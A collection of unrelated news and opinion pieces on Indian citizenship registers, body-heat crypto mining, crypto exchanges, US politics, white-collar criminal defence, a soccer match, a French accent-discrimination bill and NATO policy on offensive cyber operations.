Image credit: Frank Hebbert via Flickr, CC BY-SA 2.0.
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Delhi Chief Minister Arvind Kejriwal's AAP passed a resolution against NPR, NRC
Highlights Delhi Assembly today passed a resolution against the NPR and NRC
"I urge the centre to withdraw NPR and NRC" : Arvind Kejriwal
Mr Kejriwal challenged Union Ministers to show birth certificates
The Delhi Assembly on Friday passed a resolution against the NPR (national population register) and NRC (national register of citizens), with 61 of 70 MLAs responding in the negative when Chief Minister Arvind Kejriwal asked if they still had their birth certificates.
Mr Kejriwal called this a "big message" and said "the Assembly has passed the resolution to not implement NPR in the national capital". The Chief Minister included himself in the list of people without birth certificates, telling the Assembly that neither he nor his family had the documents.
"Me, my wife, my entire cabinet don't have birth certificates to prove citizenship. Will we be sent to detention centres?" Arvind Kejriwal asked in the Assembly on Friday, after asking MLAs to raise their hands if they had the documents.
Only nine lawmakers raised hands. Delhi's ruling Aam Aadmi Party (AAP) has 62 MLAs in the house, after winning last month's elections. The remaining seats are held by the BJP.
"61 out of 70 members in the Delhi Assembly don't have birth certificates. Will they also be sent to detention centres?" Mr Kejriwal said.
"I urge the centre to withdraw National Population Register and National Register of Citizens," he was quoted as saying by news agency ANI.
Mr Kejriwal also challenged Union Ministers to show their certificates.
In its resolution, the Delhi Assembly said the proposed NPR and NRC had created "an atmosphere of fear and panic" over concerns that those who could not prove their citizenship will be sent to the detention centres.
Noting that more than 90 per cent of Indians do not have requisite documents, as listed by the centre, the resolution asked for clarifications over use of NPR data in NRC and what an individual must do if s/he lacks documents.
Anti-NPR, NRC and CAA protests have broken out nationwide over fears Muslims may be targeted
The Delhi Assembly's resolution comes a day after Union Home Minister Amit Shah, who has led the centre's charge on the NPR and NRC, insisted that no document would have to be shown for the NPR.
"No document needs to be submitted. You can give whatever information you have and leave the other questions blank," Mr Shah said in the Rajya Sabha on Thursday while replying to a discussion on last month's violence in Delhi.
Several states have refused to carry out the NPR, an exercise seen by many to be a precursor to the equally controversial NRC. Both exercises, along with the CAA (Citizenship Amendment Act), have provoked nationwide protests, with critics saying they may be used to target and harass Muslims.
The states that have objected include Bihar and Tamil Nadu, both of which are ruled by BJP allies; Nitish Kumar's JDU is in power in Bihar and the AIADMK rules Tamil Nadu. Others include Mamata Banerjee's Bengal and Left-ruled Kerala, both of which have refused to carry out the NPR.
Prime Minister Narendra Modi and Mr Shah have both said that as of now, there is no plan to take NRC forward, though the Home Minister had earlier told parliament that it would be done across the country.
The NPR was carried out in 2010 as part of the census; the latest forms have fueled massive anger and concern because of additions like a question on one's parents' place of birth - producing such documents is a tough ask for many.
The usual questions are on type of house, number of family members, source of electricity, whether the family has access to a toilet, the type of toilet, wastewater outlet, availability of bathing facility, availability of kitchen and LPG/PNG connection and main fuel used for cooking.
In the 2020 NPR, there are eight additional data fields that ask for parents' birthplace and date of birth, a person's present and permanent address, mother tongue and nationality.
(With input from ANI and IANS)
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Uma organização holandesa chamada Institute of Human Obsolescence (IoHO) recentemente levou a fantasia das criptomoedas sustentáveis ao extremo: usou o calor do corpo humano para minerar uma variedade de criptomoedas. Muitos, claro, questionaram essa invenção. Será que nossos corpos podem realmente ser uma solução viável para o problema de uso de energia das criptomoedas?
“Desde o ano passado, a pegada ecológica da manutenção da cadeia do bitcoin tem sido mais discutida enquanto ela atinge níveis sem precedentes de ineficácia e altos níveis de consumo de energia por transação”, me disse o fundador do IoHO Manuel Beltrán, por e-mail. “Na maioria dos casos, se alguma tecnologia é possível de construir, as pessoas a constroem e começam a usar sem considerar as possíveis implicações éticas e sociopolíticas. Esse é exatamente o ponto que estamos desafiando.”
Imagem: Biological Labor – IoHO – Elevate Festival.
A ideia de tirar vantagem do calor corporal para abastecer o mundo ao nosso redor não é exatamente nova – de academias a discotecas já foram abastecidas por clientes suando. Como o The Next Web cobriu em dezembro, o experimento do IoHO em colher calor corporal foi ligeiramente diferente porque não exigia que as pessoas fizessem qualquer trabalho físico, como correr numa esteira ou dançar até cair. Na verdade, os participantes só tinham que ficar deitados por algumas horas.
Um corpo humano adulto gera aproximadamente 100 watts de energia em descanso. Cerca de 80% dessa energia é desperdiçada em excesso de calor corporal. A ideia do IoHO era capturar um pouco desse excesso de calor usando vestimentas com geradores termoelétricos. Tais geradores converteriam o calor corporal em energia elétrica que, em seguida, seria usada para alimentar computadores minerando criptomoedas.
Desde 2015, 37 voluntários contribuíram com 212 horas de mineração para gerar um total de 127,2 watts. Apesar dos voluntários contribuírem com seus corpos para o projeto por diferentes quantidades de tempo, na média cada pessoa contribuiu com cerca de 0,6 watts/hora de energia. Considerando que em média um adulto produz cerca de 80 watts como excesso de calor, isso significa que o IoHO conseguiu colher menos de 1% do calor corporal gerado por seus voluntários.
Imagem: Biological Labour – IoHO – Elevate Festival.
Com a pequena quantidade de energia que colheu de seus voluntários, o IoHO minerou novas criptomoedas como o Vertcoin e Startcoin, que exigem menos energia que as moedas maiores. Segundo Beltrán, os voluntários ficaram com 80% das criptomoedas que geraram enquanto o resto foi para o instituto.
“Nunca mineramos bitcoins porque seria inútil produzi-los com calor humano”, me disse Beltrán. “Mineramos exclusivamente moedas alternativas e algumas delas subiram 46.000%. O que no começo era só alguns centavos agora é uma quantidade considerável de dinheiro.”
Muito legal, mas quão inútil seria o sistema do IoHO se usado para minerar bitcoin?
Por exemplo: e se usássemos um ASIC, um tipo especial de chip de computador para minerar bitcoin? Vamos pegar o Antminer S9 como referência de ASIC por sua popularidade e eficiência. Um Antminer S9 usa 1.375 watts/hora e minera cerca de 0,6 bitcoins por ano, então dois desses aparelhos produziriam 1,2 bitcoins por ano e exigiriam 2.750 watts/hora.
Se cada humano está gerando 0,6 watts/hora de energia com o IoHO, seria necessário aproximadamente 4.600 pessoas deitadas 24 horas por dia, 7 dias por semana usando o aparelho do IoHO para produzir 1,2 bitcoins. Com os preços atuais do bitcoin, cada pessoa receberia cerca de $3 pelo ano de trabalho.
Não é grande coisa, mas vestimentas com geradores termoelétricos têm muito potencial para melhorar. E quanto a minerar bitcoin num cenário ideal, onde os geradores fossem perfeitamente eficientes e capazes de colher todos os 80 watts de excesso de calor produzido pelo corpo humano? Talvez uma coisa tipo Matrix, onde os humanos ficassem imersos numa banheira de meleca que colhe toda sua energia?
Nesse cenário, um indivíduo poderia produzir cerca de 700 mil watts/hora num ano. Isso significa que se 34 pessoas ficassem deitadas por um ano e seu excesso de calor fosse colhido com 100% de eficiência, elas poderiam minerar 1,2 bitcoins. Um pouco melhor, mas um ano no mundo das criptomoedas pode valer um milênio.
Se você quisesse acelerar as coisas e minerar 1 bitcoin por mês, você precisaria de 320 pessoas deitadas 24 horas com um sistema de eficiência perfeita. Para fazer 1 bitcoin por mês com a tecnologia do IoHO – que em termos de eficiência está no mesmo patamar da maioria das vestimentas com geradores termoelétricos disponíveis hoje – você precisaria de 44 mil pessoas dando sua energia corporal 24 horas por dia.
Claro, o IoHO não está defendendo um futuro que pareça com Matrix. Em vez disso, o projeto fala sobre propriedade de dados e como coletar de maneira eficiente o capital biológico de uma pessoa. É um experimento interessante e não é difícil imaginar um futuro onde todo mundo vai usar roupas que carreguem celulares implantados no nosso cérebro.
Mas até lá parece que os mineradores de criptomoedas continuam presos a fontes de energia não-renováveis.
Tradução: Marina Schnoor
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Amazon.com (AMZN) - Get Report CEO Jeff Bezos became the world's richest man on Thursday, having amassed a fortune of over $90 billion.
Bezos had a net worth of more than $89 billion as of the close of trading Wednesday. Microsoft (MSFT) - Get Report founder Bill Gates' net worth at the same time was over $90 billion. Amazon's share price climbed by more than $15 a share overnight and continues to rise this morning.
The CEO owns about 80 million shares of Amazon.
Amazon stock was up by 2.5% to $1,079.43 early Thursday afternoon. CNBC first reported the news.
This story has been updated from its original publish time of 9:13 a.m.
Watch More with TheStreet:
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Related : "Game of Thrones" Stars Tease What's to Come in Season 7
Let's hear it for the women of Game of Thrones. As season seven is about to hit airwaves, the ladies of Westeros are looking back—and ahead—at their journey's on the show.
"I do think the show has given rise to more of a platform whereby women—the whole notion of womanhood—is being explored," Gwendoline Christie told E! News' Kristin Dos Santos at the premiere of Game of Thrones season seven. "I've always really deeply admired the show ever since it first started because, for me, it's been one of the first mainstream shows to really push women and female characters to the forefront and make those characters incredibly complex and interesting. That's important to me, it's very important to me in my work to be political in a positive way."
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With so many exchanges out there, how do you choose which one is right for you? Apart from obvious location limitations and the fact you may want to trade an obscure currency that isn’t listed in most of the available platforms, let’s try to see how to choose between two of the most popular exchanges on the web.
Binance is based in Hong Kong. It does not require an ID unless you want to have a higher level of membership; so unless you need that, you may maintain your anonymity.
Kucoin is also based in Hong Kong. Actually, both platforms were originally from China but had to move after the government crackdown on cryptocurrencies.
Fees
Fees are 0.1% on both websites. Binance offers no deposit fees, while withdrawal fees depend on the asset. Kucoin, however, offers dividends of 50% of the exchange earnings on its own token. Binance token is simply used to pay for fees on the platform, saving money compared to paying through different tokens.
Assets
Both platforms have a pretty wide choice of assets, with Binance offering up to 242 altcoins and Kucoin supporting 179. Other than trading through BTC and ETH, Binance offers the possibility to trade through its own token and Tether, while Kucoin offers trading pairs with its own token, Tether, but also NEO and BTC Cash.
Authentication
Both platforms support two-factor authentication and have never been hacked, though there was a Reddit thread stating a Binance account was emptied of its funds. To be completely fair, the user goes on to explain he did not put two-factor authentication, so it’s not really on the website as much as it is on the user itself.
Binance did warn, though, of a number of phishing attempts, with several phishing websites appearing on search engines when people tried to find the exchange. Always double check that you are visiting the right website before enabling scammers to retrieve your password and information. Please, also enable two-factor authentication every time you are given the chance to any website.
No reports on Kucoin having had any sort of problem so far.
Customer Service
Kucoin has incredibly fast customer service. There’s a 24-hour telegram support chat with quick response rate. Binance also offers different ways to contact its support, with the main one being through tickets. There are reports of it taking up to a few days, with a Reddit user claiming it took him as long as two weeks to get an answer, but apart from that, it is an above average customer service compared to most exchanges.
Conclusion
There’s no clear winner between these two exchanges. Let’s start by saying they’re both really good and reliable platforms, so you should consider using one of them rather than some dodgy looking website making false promises. Binance has a wider range of altcoins, but Kucoin has a faster customer support. Fees and securities are basically the same. Maybe you could try Kucoin unless you’re looking for some obscure altcoin you can only find on binance, but you should probably look at the interface of both and see what seems better for you, personally.
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The UTM-86-35H Lavalier Mic with 3.5mm Connector for Sennheiser & Senal Wireless Transmitters from Senal features an omnidirectional polar pattern and a frequency response optimized for voices and dialog. It can be used to deliver realistic and robust broadcast-quality sound for TV, live stage, theater, or any other applications where an inconspicuous lavalier microphone is needed.
The lavalier mic has a wide frequency response tailored for rich low frequencies and a natural-sounding mid range. The omnidirectional polar pattern provides minimal sensitivity to head movement and offers numerous options for discreetly positioning the microphone on a performer's clothing or wardrobe. A windscreen and a selection of various mounting accessories are included to accommodate miking scenarios for public speaking, interview, video, and film applications. Specially designed strain relief and cable insulation significantly minimize handling noise.
The UTM-86-35H can also be combined with Senal's power supply (sold separately) enabling it to operate on phantom or battery power, which provides compatibility with any XLR mic input.
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A female presidential candidate has clinched a major-party nomination for the first time in U.S. history. No one seems to care - at least not many people in my millennial generation. Not even women, although they should.
Maybe my cohort is caught up in the moment of Donald Trump: Millennial liberals may think it's more vital to ward off an age of authoritarianism than to usher in a new era for feminism. Certainly, we've been distracted by Bernie Sanders: For idealistic young voters, a rabble-rousing revolutionary feels more alluring than a political pragmatist, even one with two X chromosomes.
College campuses buzz these days with talk of "intersectionality," the notion that different forms of discrimination interact and overlap. So to many voters of my generation, being a woman alone might not seem like enough, if you're also white, straight, rich and, by the way, a Clinton.
Carrying that name means carrying a lot of baggage. Clinton has gotten flak for policies her husband championed while president, when today's youngest voters hadn't even reached preschool. Detractors point to the anti-crime and welfare reform efforts that took a greater toll on African Americans than any other population - and for which Hillary Clinton has since apologized.
Now, as Clinton champions an extension of the policies of the past eight years over Sanders's radical revisionism, many millennials are convinced she will always align herself at the center of the established order - wherever that is at any given moment.
They're missing the point.
Many millennials find it easier to pillory Clinton for her mistakes than to praise her for her successes as first lady. But they fail to appreciate how striking those successes were for a first lady at the time. They also fail to understand why Clinton couldn't go further - when it's remarkable she got as far as she did at all.
Unlike her predecessors, Clinton didn't ask Americans to say no to drugs or yes to literacy. Instead, she set out to remake the health-care system. Installing a first lady in a prime-real-estate West Wing office rather than relegating her to traditional East Wing duties was an unprecedented move.
Back then, Clinton was hit from the right for overstepping the bounds of the first-lady role and involving herself in policy. Now, ironically, she is hit from my millennial friends on the left for, well, having involved herself in policy.
And Clinton wasn't viewed as a threat only because she was a woman: She was also too liberal. During Bill Clinton's administration, critics accused her of yanking her husband to the left. Bill had promised "two for the price of one." Yet when the package deal turned voters off, it was Hillary's job to step back. She was, after all, just the wife.
Today, ironically again, Clinton's ideological views present a problem for many millennial voters for the opposite reason: She is, in their assessment, not liberal enough.
My generation underrates not only Clinton's past efforts but also her present significance. Our mothers faced gender barriers; their mothers faced even more. In the 1960s and early '70s, when many of our mothers were children, the most obvious career choice for a woman was housewife. For those who did work outside the home, the gender pay ratio hovered around 60 percent.
Women of my generation, on the other hand, grew up being taught - including by our mothers - that we could do anything. For the most part, it has played out that way. When we turn on the news, there's often a woman at the anchor desk - sometimes reporting on another woman. In any given year in the '70s, there were at most 19 women in the House and two in the Senate - including a four-year stretch with no female senators at all. In November, the combined number of women in both chambers passed 100 for the first time.
Our parents may have been surprised - our mothers were probably pleased - that Clinton secured an office in the West Wing at all. We see it as inevitable that one day a women will occupy the one that is oval-shaped.
So the necessity of having that occupant be Hillary Clinton, or of having that moment occur in 2017, feels less urgent. And the notion of the first female major-party presidential nominee is greeted with a collective millennial yawn.
Molly Roberts graduated last month from Harvard University and is an intern for The Washington Post's editorial page. Twitter: @mollylroberts.
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You’re under investigation for alleged white collar crime. Maybe you’re guilty, maybe not. It doesn’t necessarily matter in terms of how the investigation will proceed.
While prosecutors typically say they have an open mind and everyone deserves a presumption of innocence, don’t necessarily believe it. They’re not investigating you because they think you’re innocent – it’s just a question of whether they believe they’ll be able to sufficiently establish your guilt to get an indictment, and ultimately take you to trial.
It was clearly different in the case of the president – unlike your prosecutor, Special Counsel Robert Mueller acted tabula rasa and was specifically appointed to conduct an investigation until the finish line with no prior look by him at the allegations under consideration. So, likely, Mueller did have an open mind – even though President Donald Trump sees it as if he’s been a target in a Law & Order episode, with a prosecutor conducting a “witch hunt” behaving like a Torquemada out to get him at any cost. Yes, Trump thinks the investigation of him was unfair. No surprise at all. Just like you, literally every single person — guilty or innocent, or even somewhere in between — thinks the investigation of him is unfair.
Guilty or not, your prosecutor will promptly issue grand subpoenas for pretty much every piece of paper you or your corporation have relating to the conduct in question. But not only paper. She will cause you to search virtually everything on your computer or your company’s computers that has remote relevance to the investigation. And don’t think you’ll be able to get a court to limit the production breadth – it almost never happens. Frankly, even if you get some relief from a court, the prosecutor will subpoena the emails of your emailing counterparts and get the material anyway — or worse, get a search warrant and cull through the emails herself, or both.
Beyond that, prosecutors will subpoena others for testimony, banks and accountants are usually the first in line and they virtually never hold back. Or perhaps – and this is a long-time ploy – have investigating agents, with a subpoena in their back pocket, pay that 6 a.m. visit to those whom they think are involved or have key information, so they can be questioned before having even brushed the sleep from their eyes.
In other words, those visited may speak to the agents before that first cup of coffee which may have given them the good sense to call their lawyers and halt the intended interviews. It’s the rare case that witnesses, subjects or even targets, even when represented, simply take the agents’ business cards and send them packing in favor of counsel’s intervention and protection. Your spouse and children are sleeping upstairs or getting ready for work and school, your neighbors are beginning to rouse, and they will wonder why there are government vehicles and obvious agents in your driveway; you do not want to answer their questions or deal with their prying eyes. Terror strikes deep and causes you to say anything or agree to anything to make these agents just leave you alone. It’s a reflexive mistake that all too often has dire consequences – someone who was merely a witness or subject turns themselves into a target or even a defendant by thinking they can fudge the facts, shade the truth, or explain things away.
Now, when you, the target, get wind of these interviews, your first reaction may be to speak to your friends or colleagues – sort of like Trump tried to do. Maybe you’ll even stupidly try to discourage them from participating in future interviews or you will “refresh” their recollections in a way that has an only very casual relationship to the truth. You might even be inclined to delete files, disappear computers and hard drives, delete files and emails, or destroy other possible evidence. Work with the assumption that, when faced with prosecutorial fingers pointed at your friends and colleagues, those “witnesses” will be fearful of becoming codefendants and may ultimately communicate, intentionally or unintentionally, to the agent, or a grand jury, that you tried to obstruct their testimony. Sound familiar?
Either way, guilty or not, you, as a target, have probably lawyered up and because you maintain that you’re innocent (whether you believe it or not) want to tell the prosecutor your account, honestly believing that it will get you off the hook. But your lawyer is not too sure about that – whether or not he thinks you’re guilty, he’s afraid you’ll give a bad impression of the facts, not be believed by the prosecutor, be less than fully forthcoming, and may even lie over some embarrassing event in the episode under scrutiny or to protect someone else. The prosecutor, however, tells your lawyer that either you come in and proffer your innocence by telling your story, or they’re going to indict you. Period.
Still, your lawyer doesn’t want you to. You begin to think that, just as in the case of the president, your lawyer can jerk it around for more than a year as did Rudy Giuliani for the president. Don’t count on it. It won’t happen. True, the prosecutor won’t be able to force you to give an interview or testify before the grand jury that is investigating you. But the decision to indict won’t wait as it did with the president. Remember, that indictment was never going to happen anyway — Mueller knew all along he would never indict the sitting president based on Justice Department policy. Yes, your lawyer will likely be given an opportunity to go in and make an attorney proffer and present your best case to the prosecutor before you are arrested; but it won’t go too far or anywhere if you continue to engage in your criminal conduct or in an obstructionist coverup designed to impair the investigation, or if you keep on talking to anyone and everyone who will listen. You need to stand down. He’s the president, you’re not!
You may even begin to second guess your lawyer’s advice and consider retaining someone else who will walk you into the prosecutor’s office upon your say so. Many thought President Trump would do just that. Shockingly, however, cooler heads prevailed. It’s a dangerous proposition to sit down with the government. After all, they know far more about the facts than you realize, they may already have spoken to witnesses, read your emails, and reviewed your bank records. If any of your lawyer’s fears come true, you can and most likely will find yourself charged, not merely, if at all, with the original crimes under investigation but with obstruction of justice or lying to law enforcement; which is exactly what happened in many of the Mueller prosecutions. The Fifth Amendment and provisions for grants of immunity exist for a reason. Indeed, you are entitled to assert the Fifth Amendment even if you have committed no crime and if the government is knocking on your door, most often you should.
Now, to be sure, there are differences from the Trump investigation that are better for you in the long run. Your lawyer, unlike the president’s, will often be able to have frank conversations with the prosecutor that won’t end up every day in print or on TV. That channel, as it were, will be helpful in getting your story across to the prosecutor. And, generally, you won’t have to worry about reports in the tabloids or even The New York Times every time a witness comes forward and says something bad about you. Frankly, the press isn’t that interested in you, as it is in the president.
Further, you may have the ability for your lawyer to have a joint defense agreement with lawyers for the others involved in the investigation as a way to determine what else is going on in the case, without reading about it in the newspaper. By the way, this goes on all the time without much fanfare, and prosecutors recognize and largely accept its reality.
And fortunately for you, your lawyer will be able to keep you quiet, even if your case is in the public eye. He won’t be afraid to insist that you not give incriminating statements to the press. The president’s lawyers, uniquely, weren’t able to muzzle him. Needless to say, you’re not as big a deal; although you are in the government’s cross-hairs so caution must be the order of the day. This is not a business deal or negotiation. You cannot smooth talk your way out of an indictment. The facts are the facts and the government will uncover them and charge you for distorting, spinning, or conveniently forgetting them.
Listen to your lawyers’ advice– that’s why you retained them, they are the experts now, not you, and they, not the government, are the only ones looking out for your best interests. Think twice and then twice more about speaking with the government and, at a minimum, you will ensure that a difficult situation does not become worse. Even President Trump finally figured that out!
Joel Cohen, a former state and federal prosecutor, practices white-collar criminal defense law at Stroock & Stroock & Lavan LLP and is an adjunct professor at Fordham Law School. He is the author of “Blindfolds Off: Judges on How They Decide. Gerald B. Lefcourt practices criminal defense law in New York City. He is a past president of the National Association of Criminal Lawyers, a founder of the New York State Association of Criminal Defense Lawyers, and founder and past president of the New York Criminal Bar Association.
[Image via Chip Somodevilla/Getty Images]
This is an opinion piece. The views expressed in this article are those of just the author.
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(CNN) — This year's wildflower super bloom display in Southern California is so breathtaking, it's drawing too many visitors.
Faced with traffic jams, crushed flowers and overflowing public toilets, authorities temporarily closed access to Walker Canyon to the swarms of tourists who'd flocked there to take the perfect Instagram picture of those bright orange poppies. It has since reopened, but parking is extremely limited, authorities said
So, why not contemplate this astounding natural show from the comfort of your sofa, with an all-encompassing view of the outbreak of orange from space?
The WorldView-2 satellite, owned by DigitalGlobe, took amazing photos on March 19 of the hillsides along Walker Canyon covered in blooming poppies.
One shot shows a long line of cars along the roads leading to the Walker Canyon trailhead.
DigitalGlobe
Zooming in, it is possible to see people walking along the trail.
DigitalGlobe
Not quite captured by the lens, though, are the painted lady butterflies that have swarmed California deserts during this year's super bloom, making their way north from Mexico.
DigitalGlobe
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Miami FC clinches the first seed, beats Indy Eleven 3-0
Miami FC bounced back and looked like the team that all their supporters know and love yesterday in Indianapolis. After dropping points in their previous two games against the San Francisco Deltas, which brought the overall first seed in to question, the turnaround was massive for the club. Indy looked outmatched from the start and saw their season officially end after the final whistle.
It wasn’t long before Miami FC would find their way by notching the first goal in the fourth minute of play. Jaime Chavez and Stefano Pinho played a nifty combination that allowed Pinho to free himself in point blank range. Stefano Pinho, now the 3rd leading goal scorer in the NASL 2.0 record books (33), converted by blasting it past Jon Busch to quiet the Indy faithful.
The two would link up again for Miami’s second goal of the evening. Chavez would find himself running out of space after a great ball was delivered by Hunter Freeman on the right side of the technical area. Chavez, with very little room to spare in front of the goal line, played a cross over to Pinho. Pinho got around his marker and tapped one by Busch again for his second goal of the night and 15th of the season.
Miami would get their third of the night just minutes later as former Eleven Dylan Mares would find the back of the net. Mares craftily dribbled his way around the Indy defense and found himself in open space right in the heart of the penalty area. The blast put low and in the corner got past Busch and silenced the Brickyard Battalion who saw the shellacking happen right in their end.
Eamon Zayed had the best chance of the night for the Eleven. The combination of a great ball and his cut through the Miami defense found him one on one with Miami FC keeper Mario Daniel Vega. Zayed played a soft one earmarked for the back post but a dazzling toe save by Vega kept the Eleven off the score sheet.
Early in the second half Craig Henderson would play an excellent through-ball for Ben Speas who cut his way through the Miami defense like a warm knife through butter. Speas was met by a charging Vega who kept the ball in front of him not allowing Speas to get a clean shot. The Eleven would find themselves with one more good chance on the evening as they buzzed around Miami’s technical area. The ball would eventually fall for David Goldsmith who just couldn’t get enough on it and Vega made a diving save to keep the clean sheet.
With the win, The Miami F.C. clinched first place in the combined table which guarantees them home field advantage throughout the NASL playoffs. The fall championship is still on the table as Miami and San Francisco are tied at 26 points through thirteen games. There is one meeting left between the two clubs which would decide the fate of the fall campaign at a date to be determined.
The loss for the Indy Eleven ends their chances at the post season joining the likes of Puerto Rico F.C. and F.C. Edmonton. San Francisco has all but clinched the second seed earning them home field advantage for the semi-final round. The real showdown will end up being between the Jacksonville Armada and the New York Cosmos who both have 38 points with three games to play. Both clubs will face each other on October 22nd in Jacksonville which could be the deciding match for fourth place.
Photo courtesy Indy Eleven
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A French member of parliament has proposed that mockery of accents be outlawed, after an irate politician derided a journalist's southwestern pronunciation before asking if anyone had a question in "understandable French".
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Laetitia Avia of President Emmanuel Macron's ruling party said she was proposing a bill that would classify such mockery with other forms of prohibited discrimination such as on grounds of sex or race.
She did so after a journalist from Toulouse in southwest France asked former presidential candidate Jean-Luc Mélenchon about an anti-corruption investigation of his hard-left political party.
In an exchange widely relayed on media and social networks, Mélenchon mimicked the journalist's accent and told her she was "talking nonsense" before turning away and saying: "Has anyone got a question in more or less comprehensible French?"
EN NW SOT MELENCHON MOCKS ACCENT
The law Avia proposes would proscribe discrimination based on pronunciation, whether standardised or from a specific region of France, or from one of the countries of origin of the many people of African descent in France.
"Do you speak poorer French if you have an accent? Do people have to endure humiliation if their pronunciation is not of the standardised kind," she said in a message on Twitter.
Parle-t-on moins français avec un accent ? Doit-on subir des humiliations si on a pas d'intonations standardisées ? Pcq nos accents sont notre identité, je dépose, avec des députés @LaREM_AN, une proposition de loi pour reconnaitre la glottophobie comme source de discrimination💪 pic.twitter.com/dcy3mKiVXj Laetitia Avia (@LaetitiaAvia) October 18, 2018
She said she was proposing the legislation along with other members of the ruling party, Macron's La Republique en Marche.
"Glottophobia", a word recently coined by a French linguist to describe discrimination based on pronunciation and tone, needed to discouraged by law, she said.
Mélenchon, who has a reputation as a talented if tempestuous orator, was knocked out in the first round of the election that swept Macron to power in May 2017.
Justice officials are looking into allegations of irregular financing of his party and eleection campaign. This week they said he was also being investigated for intimidation of magistrates and police officers after an anti-corruption officer was jostled at his party headquarters.
Avia did not specifically say her bill was in reaction to Mélenchon's comments but she relayed TV footage of the accent-mocking exchange on her Twitter account shortly after it took place on Oct. 17.
(REUTERS)
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In May 2008, the U.S. Department of Defense and the German Ministry of Defence signed a memorandum of understanding concerning “Cooperation on Information Assurance and Computer Network Defense.” Computer network defense (CND) refers to actions taken on computer networks to monitor and protect those networks. It is not the only memorandum the U.S. Department of Defense has signed with allies on cyber defense.
In late 2016, U.S. Cyber Command operators wiped Islamic State propaganda material off a server located in Germany. The German government was notified in some fashion but not asked for advance consent, causing much frustration. While U.S. Cyber Command’s reported action may have violated Germany’s sovereignty, it didn’t explicitly violate the memorandum. It wasn’t an act of CND; it was a computer network attack (CNA), seeking to disrupt, deny, degrade or destroy.
This reveals an uneasy situation within cyber cooperation: Allies do not agree on the appropriate procedures and boundaries for offensive cyber operations. More specifically, there is no agreement on when military cyber organizations can gain access to systems and networks in allied territory to disrupt adversarial activity. As I have argued previously, this issue may end up causing significant loss in allies’ trust and confidence. My proposed solution: NATO allies should establish memoranda of understanding on offensive cyber effects operations in systems or networks based in allied territory.
Objectives of Out-of-Network Operations in Allied Networks
Allied states may operate in each other’s systems or networks in at least three ways: as an observer, gathering intelligence on adversarial activity in others’ networks; as a passerby, transiting through allied systems and networks to access a certain adversarial target; or as a disrupter, seeking to cause friction for an adversary’s operation within an ally’s network or system. The German case discussed above is the only publicly known case of a state acting as a disrupter in an allied network. But we can expect that more of these cases will be publicly disclosed in the future.
It has now been widely discussed that the U.S. Cyber Command has undergone a significant shift in strategic thinking away from deterrence toward persistent engagement and defend forward. Following these recent changes in strategic thinking, U.S. Cyber Command seeks to cause friction “wherever the adversary maneuvers,” operating “globally, continuously and seamlessly.” In a similar vein, NSA director and Cyber Command head Gen. Paul Nakasone writes in an article for Joint Force Quarterly: “We must … maneuver seamlessly across the interconnected battlespace, globally, as close as possible to adversaries and their operations, and continuously shape the battlespace to create operational advantage for us while denying the same to our adversaries.”
While one may expect adversaries to maneuver in allied networks, the U.S. is currently the only NATO state that makes causing friction in allied networks a necessary and explicit component of its strategy. Other military cyber organizations could follow in the near future.
And we already see countries moving in this direction. On Aug. 1, the Communications Security Establishment Act (CSE) came into force in Canada. According to the Canadian government, “CSE could be authorized to proactively stop or impede foreign cyber threats before they damage Canadian systems or information holdings, and conduct online operations to advance national objectives.” The Canadian government does not explicitly talk in its latest strategy about the need to operate “globally, continuously and seamlessly” or to cause friction “wherever the adversary maneuvers.” In that regard, it needs to do more strategic thinking—as other countries do—on the exact role of cyber operations on allied networks in the military context.
But the proposed memorandum of understanding on cyber offense addresses exactly this possibility.
The Goal of the Memorandum of Understanding
The goal of the proposed memorandum is to reduce discord among the allies; enhance trust, transparency and confidence between allies; and improve the effectiveness of disrupting and deterring adversaries’ operations in cyberspace.
The scope of the memorandum should include (a) developing a common notification equity framework for out-of-network operations that seek to achieve cyber effects in allied systems or networks; (b) identifying procedures for communicating the consideration and conduct of offensive cyber effects operations between states against systems or networks in allied territory; and (c) identifying technical solutions and administrative documentation required for the continuous exchange of information on offensive cyber operations.
In writing the memorandum, states first and foremost should agree on the equities involved in permitting signatories to conduct cyber effect operations in each other’s networks—and the relative weight of those equities. Equities that should be considered include (a) the ability of an actor to take action to negate known threats on or to the other parties’ networks and systems; (b) the likelihood that an action will negate known threats; (c) the imminence and scale of the threat; (d) the risk of collateral damage; (e) whether the computer system or network is government owned or privately owned; and (f) the certainty that the system or network will be used to achieve strategic effects by the adversary.
There are three open questions about the memorandum of understanding.
I. Should the Proposed Memorandum Be NATO-Wide or Bilateral?
There are benefits of negotiating a NATO-wide agreement, including ensuring it contributes to the defense of all NATO members’ networks and enhances resilience across the alliance. It could also guard against the potential that persistent engagement and defense forward might be exploited by adversaries, as I argued previously:
Adversaries don’t randomly choose which intermediate nodes to direct their operations through. If Russia has the choice to go through a network that would raise some serious diplomatic friction between the U.S. and a U.S. ally, or operate through a network that would cause no diplomatic friction for the U.S., what would it prefer? It would make sense for adversaries to operate through the networks of exactly those countries with which the U.S. has a strong relationship but that do not want the U.S. to operate within their networks causing any effects.
But there are constraints on a NATO wide-memorandum, too. To start, not all states are equally willing to share intelligence information. A bilateral agreement would make it easier to tailor the notification equity framework to the specific preferences and capabilities of both governments.
II. Can It Be Used as a Public Signaling Device?
The notification equity framework part of the memorandum of understanding can remain classified. Governments might not get it right the first time. As the framework might need tweaking, immediate public disclosure is risky. But a public version, if crafted carefully, can also help to set the parameters of what Michael Fischerkeller and Richard Harknett call “agreed competition.” That is, it can help clarify where adversaries are allowed and not allowed to go within each other’s networks. If we want stability in cyberspace, this is a mechanism by which to achieve it.
III. Should the Memorandum Also Address Cyber Operations Beyond Allied Networks?
A memorandum of understanding narrow in scope—that is, addressing the allies’ conduct of cyber effect operations taking place only in systems or networks in allied territory—would ignore the negative impact on allied intelligence operations and capabilities beyond these systems and networks.
Military cyber organizations are operating in a global environment historically dominated by intelligence agencies, and the Five Eyes has always been the most dominant actor in cyberspace. But the anglophone intelligence alliance is not the only intelligence actor operating across the world. Recent cases—such as the Dutch ’s General Intelligence and Security Service infiltration into the Russia-based network of the infamous hacking group Cozy Bear—have illustrated the continued global prevalence and value of allies’ intelligence operations beyond the Five Eyes alliance.
If military cyber organizations increasingly take up the role of “disrupter,” it may negatively impact global intelligence collection of allies—particularly those countries that favor long-term access over immediate effect. It will also more likely uncover and burn allied capabilities.
